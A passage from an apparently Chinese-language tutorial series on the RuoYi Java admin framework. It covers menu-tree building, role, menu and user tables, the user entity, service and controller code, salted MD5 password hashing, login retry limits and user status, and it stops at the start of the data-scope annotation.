    /**
     * 根据用户ID查询权限
     */
    public Set<String> selectPermsByUserId(Long userId);

    /**
     * 根据角色ID查询菜单
     */
    public List<Ztree> roleMenuTreeData(Long roleId);

    /**
     * 查询所有菜单信息
     */
    public List<Ztree> menuTreeData();

    /**
     * 根据菜单ID查询信息
     */
    public SysMenu selectMenuById(Long menuId);

    /**
     * 删除菜单信息
     */
    public int deleteMenuById(Long menuId);

    /**
     * 新增保存菜单信息
     */
    public int insertMenu(SysMenu menu);

    /**
     * 修改保存菜单信息
     */
    public int updateMenu(SysMenu menu);

    /**
     * 校验菜单名称是否唯一
     */
    public String checkMenuNameUnique(SysMenu menu);
}

构建菜单树

/**
 * 构建前端需要的树结构
 */
public List<Ztree> initZtree(List<SysMenu> menus) {
    List<Ztree> ztrees = new ArrayList<Ztree>();
    boolean isChild = true;
    for (SysMenu menu : menus) {
        Ztree ztree = new Ztree();
        ztree.setId(menu.getMenuId());
        ztree.setpId(menu.getParentId());
        ztree.setName(transMenuName(menu, isChild));
        ztree.setTitle(menu.getMenuName());
        ztree.setChecked(menu.isVisible());
        ztree.setOpen(menu.isOpen());
        ztrees.add(ztree);
    }
    return ztrees;
}

/**
 * 转换菜单名称
 */
public String transMenuName(SysMenu menu, boolean isChild) {
    if (isChild) {
        return menu.getMenuName();
    }
    return menu.getMenuName() + "/" + menu.getPerms();
}

/**
 * 递归构建菜单树
 */
public List<SysMenu> getChildPerms(List<SysMenu> list, int parentId) {
    List<SysMenu> returnList = new ArrayList<SysMenu>();
    for (Iterator<SysMenu> iterator = list.iterator(); iterator.hasNext();) {
        SysMenu t = iterator.next();
        // 根据传入的parentId进行筛选
        if (t.getParentId() == parentId) {
            recursionFn(list, t);
            returnList.add(t);
        }
    }
    return returnList;
}

/**
 * 递归列表
 */
private void recursionFn(List<SysMenu> list, SysMenu t) {
    // 得到子节点列表
    List<SysMenu> childList = getChildList(list, t);
    t.setChildren(childList);
    for (SysMenu tChild : childList) {
        if (hasChild(list, tChild)) {
            // 判断子节点是否有下级
            recursionFn(list, tChild);
        }
    }
}

/**
 * 得到子节点列表
 */
private List<SysMenu> getChildList(List<SysMenu> list, SysMenu t) {
    List<SysMenu> tlist = new ArrayList<SysMenu>();
    Iterator<SysMenu> it = list.iterator();
    while (it.hasNext()) {
        SysMenu n = it.next();
        if (n.getParentId().longValue() == t.getMenuId().longValue()) {
            tlist.add(n);
        }
    }
    return tlist;
}

/**
 * 判断是否有子节点
 */
private boolean hasChild(List<SysMenu> list, SysMenu t) {
    return getChildList(list, t).size() > 0;
}

数据库表结构

角色表

CREATE TABLE sys_role (
  role_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '角色ID',
  role_name         VARCHAR(30)     NOT NULL                   COMMENT '角色名称',
  role_key          VARCHAR(100)    NOT NULL                   COMMENT '角色权限字符串',
  role_sort         INT(4)          NOT NULL                   COMMENT '显示顺序',
  data_scope        CHAR(1)         DEFAULT '1'                COMMENT '数据范围',
  status            CHAR(1)         NOT NULL                   COMMENT '角色状态（0正常 1停用）',
  del_flag          CHAR(1)         DEFAULT '0'                COMMENT '删除标志',
  create_by         VARCHAR(64)     DEFAULT ''                 COMMENT '创建者',
  create_time       DATETIME                                   COMMENT '创建时间',
  update_by         VARCHAR(64)     DEFAULT ''                 COMMENT '更新者',
  update_time       DATETIME                                   COMMENT '更新时间',
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT '备注',
  PRIMARY KEY (role_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = '角色信息表';

菜单表

CREATE TABLE sys_menu (
  menu_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '菜单ID',
  menu_name         VARCHAR(50)     NOT NULL                   COMMENT '菜单名称',
  parent_id         BIGINT(20)      DEFAULT 0                  COMMENT '父菜单ID',
  order_num         INT(4)          DEFAULT 0                  COMMENT '显示顺序',
  url               VARCHAR(200)    DEFAULT '#'                COMMENT '请求地址',
  target            VARCHAR(20)     DEFAULT ''                 COMMENT '打开方式',
  menu_type         CHAR(1)         DEFAULT ''                 COMMENT '菜单类型（M目录 C菜单 F按钮）',
  visible           CHAR(1)         DEFAULT 0                  COMMENT '菜单状态（0显示 1隐藏）',
  is_refresh        CHAR(1)         DEFAULT 1                  COMMENT '是否刷新',
  perms             VARCHAR(100)    DEFAULT NULL               COMMENT '权限标识',
  icon              VARCHAR(100)    DEFAULT '#'                COMMENT '菜单图标',
  create_by         VARCHAR(64)     DEFAULT ''                 COMMENT '创建者',
  create_time       DATETIME                                   COMMENT '创建时间',
  update_by         VARCHAR(64)     DEFAULT ''                 COMMENT '更新者',
  update_time       DATETIME                                   COMMENT '更新时间',
  remark            VARCHAR(500)    DEFAULT ''                 COMMENT '备注',
  PRIMARY KEY (menu_id)
) ENGINE=InnoDB AUTO_INCREMENT=2000 COMMENT = '菜单权限表';

角色菜单关联表

CREATE TABLE sys_role_menu (
  role_id           BIGINT(20) NOT NULL COMMENT '角色ID',
  menu_id           BIGINT(20) NOT NULL COMMENT '菜单ID',
  PRIMARY KEY(role_id, menu_id)
) ENGINE=InnoDB COMMENT = '角色和菜单关联表';

权限标识规范

RuoYi 采用模块化的权限标识命名规范：

模块:功能:操作

示例

权限标识	说明
`system:user:list`	用户列表查询
`system:user:add`	用户新增
`system:user:edit`	用户修改
`system:user:remove`	用户删除
`system:user:export`	用户导出
`system:role:list`	角色列表查询
`system:menu:add`	菜单新增

复习卡片

// RBAC 核心关系
// 用户 → 用户角色关联 → 角色 → 角色菜单关联 → 菜单

// 1. 角色分配菜单
List<SysRoleMenu> list = new ArrayList<>();
for (Long menuId : role.getMenuIds()) {
    SysRoleMenu rm = new SysRoleMenu();
    rm.setRoleId(role.getRoleId());
    rm.setMenuId(menuId);
    list.add(rm);
}
roleMenuMapper.batchRoleMenu(list);

// 2. 查询用户角色
Set<SysRole> roles = roleService.selectRolesByUserId(userId);

// 3. 构建菜单树
List<Ztree> ztrees = menuService.roleMenuTreeData(roleId);

// 4. 菜单类型
// M = 目录
// C = 菜单
// F = 按钮

// 5. 数据权限
// 1 = 全部数据
// 2 = 自定义
// 3 = 本部门
// 4 = 本部门及以下
// 5 = 仅本人

类名	职责
`SysRole`	角色实体类
`SysMenu`	菜单实体类
`SysRoleMenu`	角色菜单关联
`SysUserRole`	用户角色关联
`ISysRoleService`	角色服务接口
`ISysMenuService`	菜单服务接口
`Ztree`	树形结构数据

[!TIP] 下一步：阶段七：部门与岗位管理

在阶段七中，我们将学习组织架构管理，包括部门树和岗位配置。

RuoYi 阶段五：用户管理模块

Mon, 07 Sep 2026 07:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段五，聚焦用户管理模块。学完本篇你应该能：

理解用户实体类的设计

掌握用户 CRUD 的完整流程

知道密码加密和用户状态管理的实现

前端视角：用户管理像什么？

RuoYi 用户管理	前端类比
`SysUser` 实体类	User 类型定义 (TypeScript interface)
`ISysUserService`	用户 API 封装 (axios)
`SysUserController`	用户页面路由处理器
密码加密	bcrypt / crypto-js
用户状态	账户启用/禁用状态

用户实体类 (SysUser)

// src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java
package com.ruoyi.common.core.domain.entity;

import java.util.Date;
import java.util.List;
import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.annotation.Excel.Type;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 用户对象 sys_user
 * 
 * @author ruoyi
 */
public class SysUser extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 用户ID */
    @Excel(name = "用户序号", cellType = ColumnType.NUMERIC, prompt = "用户编号")
    private Long userId;

    /** 部门ID */
    @Excel(name = "部门编号", type = Type.IMPORT)
    private Long deptId;

    /** 部门父ID */
    private Long parentId;

    /** 角色ID */
    private Long roleId;

    /** 登录名称 */
    @Excel(name = "登录名称")
    private String loginName;

    /** 用户名称 */
    @Excel(name = "用户名称")
    private String userName;

    /** 用户邮箱 */
    @Excel(name = "用户邮箱")
    private String email;

    /** 手机号码 */
    @Excel(name = "手机号码")
    private String phonenumber;

    /** 用户性别 */
    @Excel(name = "用户性别", readConverterExp = "0=男,1=女,2=未知")
    private String sex;

    /** 用户头像 */
    private String avatar;

    /** 密码 */
    private String password;

    /** 盐加密 */
    private String salt;

    /** 帐号状态（0正常 1停用） */
    @Excel(name = "帐号状态", readConverterExp = "0=正常,1=停用")
    private String status;

    /** 删除标志（0代表存在 2代表删除） */
    private String delFlag;

    /** 最后登陆IP */
    @Excel(name = "最后登陆IP", type = Type.EXPORT)
    private String loginIp;

    /** 最后登陆时间 */
    @Excel(name = "最后登陆时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Type.EXPORT)
    private Date loginDate;

    /** 部门对象 */
    @Excel(name = "部门名称", targetAttr = "deptName", type = Type.EXPORT)
    private SysDept dept;

    /** 角色集合 */
    private List<SysRole> roles;

    /** 岗位ID列表 */
    private Long[] postIds;

    /** 角色ID列表 */
    private Long[] roleIds;

    // Getter 和 Setter 省略...

    public boolean isAdmin() {
        return isAdmin(this.userId);
    }

    public static boolean isAdmin(Long userId) {
        return userId != null && 1L == userId;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append("userId", getUserId())
            .append("deptId", getDeptId())
            .append("loginName", getLoginName())
            .append("userName", getUserName())
            .append("email", getEmail())
            .append("phonenumber", getPhonenumber())
            .append("sex", getSex())
            .append("avatar", getAvatar())
            .append("password", getPassword())
            .append("salt", getSalt())
            .append("status", getStatus())
            .append("delFlag", getDelFlag())
            .append("loginIp", getLoginIp())
            .append("loginDate", getLoginDate())
            .append("createBy", getCreateBy())
            .append("createTime", getCreateTime())
            .append("updateBy", getUpdateBy())
            .append("updateTime", getUpdateTime())
            .append("remark", getRemark())
            .append("dept", getDept())
            .toString();
    }
}

实体类设计要点

特性	说明
`@Excel`	用于导入导出 Excel
`@NotBlank`	参数校验（非空）
`@Email`	邮箱格式校验
`BaseEntity`	基类，包含 createBy、createTime 等公共字段
`delFlag`	逻辑删除标志（0 存在，2 删除）
`salt`	密码加密盐值

数据库表结构

-- sys_user 用户表
CREATE TABLE sys_user (
  user_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '用户ID',
  dept_id           BIGINT(20)      DEFAULT NULL               COMMENT '部门ID',
  login_name        VARCHAR(30)     NOT NULL                   COMMENT '登录账号',
  user_name         VARCHAR(30)     NOT NULL                   COMMENT '用户昵称',
  user_type         VARCHAR(2)      DEFAULT '00'               COMMENT '用户类型（00系统用户）',
  email             VARCHAR(50)     DEFAULT ''                 COMMENT '用户邮箱',
  phonenumber       VARCHAR(11)     DEFAULT ''                 COMMENT '手机号码',
  sex               CHAR(1)         DEFAULT '0'                COMMENT '用户性别（0男 1女 2未知）',
  avatar            VARCHAR(100)    DEFAULT ''                 COMMENT '头像路径',
  password          VARCHAR(50)     DEFAULT ''                 COMMENT '密码',
  salt              VARCHAR(20)     DEFAULT ''                 COMMENT '盐加密',
  status            CHAR(1)         DEFAULT '0'                COMMENT '帐号状态（0正常 1停用）',
  del_flag          CHAR(1)         DEFAULT '0'                COMMENT '删除标志（0代表存在 2代表删除）',
  login_ip          VARCHAR(100)    DEFAULT ''                 COMMENT '最后登录IP',
  login_date        DATETIME                                   COMMENT '最后登录时间',
  create_by         VARCHAR(64)     DEFAULT ''                 COMMENT '创建者',
  create_time       DATETIME                                   COMMENT '创建时间',
  update_by         VARCHAR(64)     DEFAULT ''                 COMMENT '更新者',
  update_time       DATETIME                                   COMMENT '更新时间',
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT '备注',
  PRIMARY KEY (user_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = '用户信息表';

Service 层实现

接口定义

// src/main/java/com/ruoyi/system/service/ISysUserService.java
package com.ruoyi.system.service;

import java.util.List;
import com.ruoyi.common.core.domain.entity.SysUser;

/**
 * 用户 业务层
 * 
 * @author ruoyi
 */
public interface ISysUserService {
    /**
     * 根据条件分页查询用户列表
     */
    public List<SysUser> selectUserList(SysUser user);

    /**
     * 通过用户名查询用户
     */
    public SysUser selectUserByLoginName(String loginName);

    /**
     * 通过手机号码查询用户
     */
    public SysUser selectUserByPhoneNumber(String phoneNumber);

    /**
     * 通过邮箱查询用户
     */
    public SysUser selectUserByEmail(String email);

    /**
     * 通过用户ID查询用户
     */
    public SysUser selectUserById(Long userId);

    /**
     * 通过用户ID删除用户
     */
    public int deleteUserById(Long userId);

    /**
     * 批量删除用户信息
     */
    public int deleteUserByIds(String ids);

    /**
     * 保存用户信息
     */
    public int insertUser(SysUser user);

    /**
     * 保存用户信息
     */
    public int updateUser(SysUser user);

    /**
     * 修改用户详细信息
     */
    public int updateUserInfo(SysUser user);

    /**
     * 修改用户密码信息
     */
    public int resetUserPwd(SysUser user);

    /**
     * 校验用户名称是否唯一
     */
    public String checkLoginNameUnique(String loginName);

    /**
     * 校验手机号码是否唯一
     */
    public String checkPhoneUnique(SysUser user);

    /**
     * 校验email是否唯一
     */
    public String checkEmailUnique(SysUser user);

    /**
     * 导入用户数据
     */
    public String importUser(List<SysUser> userList, Boolean isUpdateSupport, String operName);
}

实现类

// src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
import javax.validation.Validator;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.CollectionUtils;
import com.ruoyi.common.annotation.DataScope;
import com.ruoyi.common.constant.ShiroConstants;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.spring.SpringUtils;
import com.ruoyi.system.mapper.*;
import com.ruoyi.system.service.ISysConfigService;
import com.ruoyi.system.service.ISysUserService;

/**
 * 用户 业务层处理
 * 
 * @author ruoyi
 */
@Service
public class SysUserServiceImpl implements ISysUserService {
    private static final Logger log = LoggerFactory.getLogger(SysUserServiceImpl.class);

    @Autowired
    private SysUserMapper userMapper;

    @Autowired
    private SysRoleMapper roleMapper;

    @Autowired
    private SysPostMapper postMapper;

    @Autowired
    private SysUserPostMapper userPostMapper;

    @Autowired
    private SysUserRoleMapper userRoleMapper;

    @Autowired
    private ISysConfigService configService;

    @Autowired
    protected Validator validator;

    /**
     * 根据条件分页查询用户列表
     */
    @Override
    @DataScope(deptAlias = "d", userAlias = "u")
    public List<SysUser> selectUserList(SysUser user) {
        return userMapper.selectUserList(user);
    }

    /**
     * 通过用户名查询用户
     */
    @Override
    public SysUser selectUserByLoginName(String userName) {
        return userMapper.selectUserByLoginName(userName);
    }

    /**
     * 通过用户ID查询用户
     */
    @Override
    public SysUser selectUserById(Long userId) {
        return userMapper.selectUserById(userId);
    }

    /**
     * 新增保存用户信息
     */
    @Override
    @Transactional
    public int insertUser(SysUser user) {
        // 新增用户信息
        int rows = userMapper.insertUser(user);
        // 新增用户岗位关联
        insertUserPost(user);
        // 新增用户与角色管理
        insertUserRole(user.getUserId(), user.getRoleIds());
        return rows;
    }

    /**
     * 修改保存用户信息
     */
    @Override
    @Transactional
    public int updateUser(SysUser user) {
        Long userId = user.getUserId();
        // 删除用户与角色关联
        userRoleMapper.deleteUserRoleByUserId(userId);
        // 新增用户和角色管理
        insertUserRole(user.getUserId(), user.getRoleIds());
        // 删除用户与岗位关联
        userPostMapper.deleteUserPostByUserId(userId);
        // 新增用户与岗位管理
        insertUserPost(user);
        return userMapper.updateUser(user);
    }

    /**
     * 修改用户个人详细信息
     */
    @Override
    public int updateUserInfo(SysUser user) {
        return userMapper.updateUser(user);
    }

    /**
     * 重置用户密码
     */
    @Override
    public int resetUserPwd(SysUser user) {
        return updateUserInfo(user);
    }

    /**
     * 新增用户角色信息
     */
    public void insertUserRole(Long userId, Long[] roleIds) {
        if (StringUtils.isNotNull(roleIds)) {
            // 新增用户与角色管理
            List<SysUserRole> list = new ArrayList<SysUserRole>();
            for (Long roleId : roleIds) {
                SysUserRole ur = new SysUserRole();
                ur.setUserId(userId);
                ur.setRoleId(roleId);
                list.add(ur);
            }
            if (list.size() > 0) {
                userRoleMapper.batchUserRole(list);
            }
        }
    }

    /**
     * 新增用户岗位信息
     */
    public void insertUserPost(SysUser user) {
        Long[] posts = user.getPostIds();
        if (StringUtils.isNotNull(posts)) {
            // 新增用户与岗位管理
            List<SysUserPost> list = new ArrayList<SysUserPost>();
            for (Long postId : posts) {
                SysUserPost up = new SysUserPost();
                up.setUserId(user.getUserId());
                up.setPostId(postId);
                list.add(up);
            }
            if (list.size() > 0) {
                userPostMapper.batchUserPost(list);
            }
        }
    }

    /**
     * 校验登录名称是否唯一
     */
    @Override
    public String checkLoginNameUnique(String loginName) {
        int count = userMapper.checkLoginNameUnique(loginName);
        if (count > 0) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验手机号码是否唯一
     */
    @Override
    public String checkPhoneUnique(SysUser user) {
        Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId();
        SysUser info = userMapper.checkPhoneUnique(user.getPhonenumber());
        if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验邮箱是否唯一
     */
    @Override
    public String checkEmailUnique(SysUser user) {
        Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId();
        SysUser info = userMapper.checkEmailUnique(user.getEmail());
        if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 删除用户信息
     */
    @Override
    public int deleteUserById(Long userId) {
        // 删除用户与角色关联
        userRoleMapper.deleteUserRoleByUserId(userId);
        // 删除用户与岗位表
        userPostMapper.deleteUserPostByUserId(userId);
        return userMapper.deleteUserById(userId);
    }

    /**
     * 批量删除用户信息
     */
    @Override
    public int deleteUserByIds(String ids) {
        Long[] userIds = Convert.toLongArray(ids);
        // 校验用户是否有数据权限
        checkUserAllowed(new SysUser(userIds[0]));
        // 删除用户与角色关联
        userRoleMapper.deleteUserRole(userIds);
        // 删除用户与岗位关联
        userPostMapper.deleteUserPost(userIds);
        return userMapper.deleteUserByIds(userIds);
    }

    /**
     * 校验用户是否允许操作
     */
    public void checkUserAllowed(SysUser user) {
        if (StringUtils.isNotNull(user.getUserId()) && user.isAdmin()) {
            throw new ServiceException("不允许操作超级管理员用户");
        }
    }
}

关键注解说明

注解	说明
`@DataScope`	数据权限过滤（只能看到自己部门的数据）
`@Transactional`	事务管理（失败时回滚）
`@Service`	标注为 Service 层组件

Controller 层实现

// src/main/java/com/ruoyi/web/controller/system/SysUserController.java
package com.ruoyi.web.controller.system;

import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.framework.shiro.service.PasswordService;
import com.ruoyi.framework.shiro.util.AuthorizationUtils;
import com.ruoyi.system.service.ISysPostService;
import com.ruoyi.system.service.ISysRoleService;
import com.ruoyi.system.service.ISysUserService;

/**
 * 用户信息
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping("/system/user")
public class SysUserController extends BaseController {
    private String prefix = "system/user";

    @Autowired
    private ISysUserService userService;

    @Autowired
    private ISysRoleService roleService;

    @Autowired
    private ISysPostService postService;

    @Autowired
    private PasswordService passwordService;

    @RequiresPermissions("system:user:view")
    @GetMapping()
    public String user() {
        return prefix + "/user";
    }

    @RequiresPermissions("system:user:list")
    @PostMapping("/list")
    @ResponseBody
    public TableDataInfo list(SysUser user) {
        startPage();
        List<SysUser> list = userService.selectUserList(user);
        return getDataTable(list);
    }

    @Log(title = "用户管理", businessType = BusinessType.EXPORT)
    @RequiresPermissions("system:user:export")
    @PostMapping("/export")
    @ResponseBody
    public AjaxResult export(HttpServletResponse response, SysUser user) {
        List<SysUser> list = userService.selectUserList(user);
        ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
        return util.exportExcel(response, list, "用户数据");
    }

    @Log(title = "用户管理", businessType = BusinessType.IMPORT)
    @RequiresPermissions("system:user:import")
    @PostMapping("/importData")
    @ResponseBody
    public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception {
        ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
        List<SysUser> userList = util.importExcel(file.getInputStream());
        String operName = ShiroUtils.getLoginName();
        String message = userService.importUser(userList, updateSupport, operName);
        return success(message);
    }

    @GetMapping("/importTemplate")
    @ResponseBody
    public AjaxResult importTemplate(HttpServletResponse response) {
        ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
        return util.importTemplateExcel(response, "用户数据");
    }

    /**
     * 新增用户
     */
    @GetMapping("/add")
    public String add(ModelMap mmap) {
        mmap.put("roles", roleService.selectRoleAll().stream()
                .filter(r -> !r.isAdmin()).collect(Collectors.toList()));
        mmap.put("posts", postService.selectPostAll());
        return prefix + "/add";
    }

    /**
     * 新增保存用户
     */
    @RequiresPermissions("system:user:add")
    @Log(title = "用户管理", businessType = BusinessType.INSERT)
    @PostMapping("/add")
    @ResponseBody
    public AjaxResult addSave(@Validated SysUser user) {
        if (UserConstants.NOT_UNIQUE.equals(userService.checkLoginNameUnique(user.getLoginName()))) {
            return error("新增用户'" + user.getLoginName() + "'失败，登录账号已存在");
        }
        if (StringUtils.isNotEmpty(user.getPhonenumber())
                && UserConstants.NOT_UNIQUE.equals(userService.checkPhoneUnique(user))) {
            return error("新增用户'" + user.getLoginName() + "'失败，手机号码已存在");
        }
        if (StringUtils.isNotEmpty(user.getEmail())
                && UserConstants.NOT_UNIQUE.equals(userService.checkEmailUnique(user))) {
            return error("新增用户'" + user.getLoginName() + "'失败，邮箱账号已存在");
        }
        
        // 密码加密
        user.setSalt(ShiroUtils.randomSalt());
        user.setPassword(passwordService.encryptPassword(user.getLoginName(), 
                user.getPassword(), user.getSalt()));
        user.setPwdUpdateDate(DateUtils.getNowDate());
        user.setCreateBy(getLoginName());
        
        return toAjax(userService.insertUser(user));
    }

    /**
     * 修改用户
     */
    @GetMapping("/edit/{userId}")
    public String edit(@PathVariable("userId") Long userId, ModelMap mmap) {
        userService.checkUserDataScope(userId);
        List<SysRole> roles = roleService.selectRolesByUserId(userId);
        mmap.put("user", userService.selectUserById(userId));
        mmap.put("roles", roles.stream().filter(r -> !r.isAdmin()).collect(Collectors.toList()));
        mmap.put("posts", postService.selectPostsByUserId(userId));
        return prefix + "/edit";
    }

    /**
     * 修改保存用户
     */
    @RequiresPermissions("system:user:edit")
    @Log(title = "用户管理", businessType = BusinessType.UPDATE)
    @PostMapping("/edit")
    @ResponseBody
    public AjaxResult editSave(@Validated SysUser user) {
        userService.checkUserAllowed(user);
        userService.checkUserDataScope(user.getUserId());
        
        if (StringUtils.isNotEmpty(user.getPhonenumber())
                && UserConstants.NOT_UNIQUE.equals(userService.checkPhoneUnique(user))) {
            return error("修改用户'" + user.getLoginName() + "'失败，手机号码已存在");
        }
        if (StringUtils.isNotEmpty(user.getEmail())
                && UserConstants.NOT_UNIQUE.equals(userService.checkEmailUnique(user))) {
            return error("修改用户'" + user.getLoginName() + "'失败，邮箱账号已存在");
        }
        
        user.setUpdateBy(getLoginName());
        AuthorizationUtils.clearAllCachedAuthorizationInfo();
        
        return toAjax(userService.updateUser(user));
    }

    /**
     * 重置密码
     */
    @GetMapping("/resetPwd/{userId}")
    public String resetPwd(@PathVariable("userId") Long userId, ModelMap mmap) {
        mmap.put("user", userService.selectUserById(userId));
        return prefix + "/resetPwd";
    }

    /**
     * 重置密码提交
     */
    @RequiresPermissions("system:user:resetPwd")
    @Log(title = "用户管理", businessType = BusinessType.UPDATE)
    @PostMapping("/resetPwd")
    @ResponseBody
    public AjaxResult resetPwdSave(SysUser user) {
        userService.checkUserAllowed(user);
        userService.checkUserDataScope(user.getUserId());
        user.setSalt(ShiroUtils.randomSalt());
        user.setPassword(passwordService.encryptPassword(user.getLoginName(), 
                user.getPassword(), user.getSalt()));
        if (userService.resetUserPwd(user) > 0) {
            // 更新缓存中的密码
            ShiroUtils.setSysUser(userService.selectUserById(user.getUserId()));
            return success();
        }
        return error();
    }

    /**
     * 修改状态
     */
    @RequiresPermissions("system:user:edit")
    @Log(title = "用户管理", businessType = BusinessType.UPDATE)
    @PostMapping("/changeStatus")
    @ResponseBody
    public AjaxResult changeStatus(SysUser user) {
        userService.checkUserAllowed(user);
        userService.checkUserDataScope(user.getUserId());
        return toAjax(userService.updateUser(user));
    }

    /**
     * 删除用户
     */
    @RequiresPermissions("system:user:remove")
    @Log(title = "用户管理", businessType = BusinessType.DELETE)
    @PostMapping("/remove")
    @ResponseBody
    public AjaxResult remove(String ids) {
        return toAjax(userService.deleteUserByIds(ids));
    }

    /**
     * 校验登录名
     */
    @PostMapping("/checkLoginNameUnique")
    @ResponseBody
    public boolean checkLoginNameUnique(SysUser user) {
        return userService.checkLoginNameUnique(user.getLoginName()) 
                .equals(UserConstants.UNIQUE);
    }
}

密码加密机制

加密流程

用户输入密码
    ↓
生成随机盐值 (Salt)
    ↓
MD5(密码 + 盐值)
    ↓
迭代加密 2 次
    ↓
存入数据库

密码服务

// src/main/java/com/ruoyi/framework/shiro/service/PasswordService.java
package com.ruoyi.framework.shiro.service;

import java.util.concurrent.atomic.AtomicInteger;
import javax.annotation.PostConstruct;
import org.apache.shiro.cache.Cache;
import org.apache.shiro.cache.CacheManager;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.constant.ShiroConstants;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.utils.MessageUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.exception.user.*;

/**
 * 登录密码方法
 * 
 * @author ruoyi
 */
@Component
public class PasswordService {
    @Autowired
    private CacheManager cacheManager;

    private Cache<String, AtomicInteger> loginRecordCache;

    @Value("${user.password.maxRetryCount}")
    private int maxRetryCount;

    @Value("${user.password.lockTime}")
    private int lockTime;

    @PostConstruct
    public void init() {
        loginRecordCache = cacheManager.getCache(ShiroConstants.LOGIN_RECORD_CACHE);
    }

    /**
     * 加密密码
     */
    public String encryptPassword(String loginName, String password, String salt) {
        return new Md5Hash(loginName + password, salt, 2).toString();
    }

    /**
     * 验证密码
     */
    public boolean matches(SysUser user, String newPassword) {
        String encryptedPassword = encryptPassword(user.getLoginName(), 
                newPassword, user.getSalt());
        return user.getPassword().equals(encryptedPassword);
    }

    /**
     * 登录前检查
     */
    public SysUser loginPreCheck(String username, String password) {
        // 1. 检查用户是否存在
        SysUser user = userService.selectUserByLoginName(username);
        if (StringUtils.isNull(user)) {
            throw new UserNotExistsException();
        }
        
        // 2. 检查用户状态
        if (UserStatus.DELETED.getCode().equals(user.getDelFlag())) {
            throw new UserPasswordDeleteException();
        }
        if (UserStatus.DISABLE.getCode().equals(user.getStatus())) {
            throw new UserBlockedException();
        }
        
        // 3. 检查密码错误次数
        AtomicInteger retryCount = loginRecordCache.get(username);
        if (retryCount != null && retryCount.get() >= maxRetryCount) {
            throw new UserPasswordNotMatchException();
        }
        
        return user;
    }

    /**
     * 记录登录失败次数
     */
    public void recordLoginInfo(SysUser user) {
        String loginName = user.getLoginName();
        AtomicInteger retryCount = loginRecordCache.get(loginName);
        if (retryCount == null) {
            retryCount = new AtomicInteger(0);
        }
        retryCount.incrementAndGet();
        loginRecordCache.put(loginName, retryCount);
    }

    /**
     * 清除登录失败次数
     */
    public void clearLoginRecordCache(String loginName) {
        if (loginRecordCache.containsKey(loginName)) {
            loginRecordCache.remove(loginName);
        }
    }
}

用户状态管理

状态枚举

// src/main/java/com/ruoyi/common/enums/UserStatus.java
package com.ruoyi.common.enums;

/**
 * 用户状态
 * 
 * @author ruoyi
 */
public enum UserStatus {
    OK("0", "正常"), 
    DISABLE("1", "停用"), 
    DELETED("2", "删除");

    private final String code;
    private final String info;

    UserStatus(String code, String info) {
        this.code = code;
        this.info = info;
    }

    public String getCode() {
        return code;
    }

    public String getInfo() {
        return info;
    }
}

状态流转

正常 (0) ←→ 停用 (1)
    ↓
删除 (2)  [逻辑删除]

数据权限 (@DataScope)

RuoYi 实现了灵活的数据权限控制：

// src/main/java/com/ruoyi/common/annotation/DataScope.java
package com.ruoyi.common.annotation;

import java.lang.annotation.*;

/**
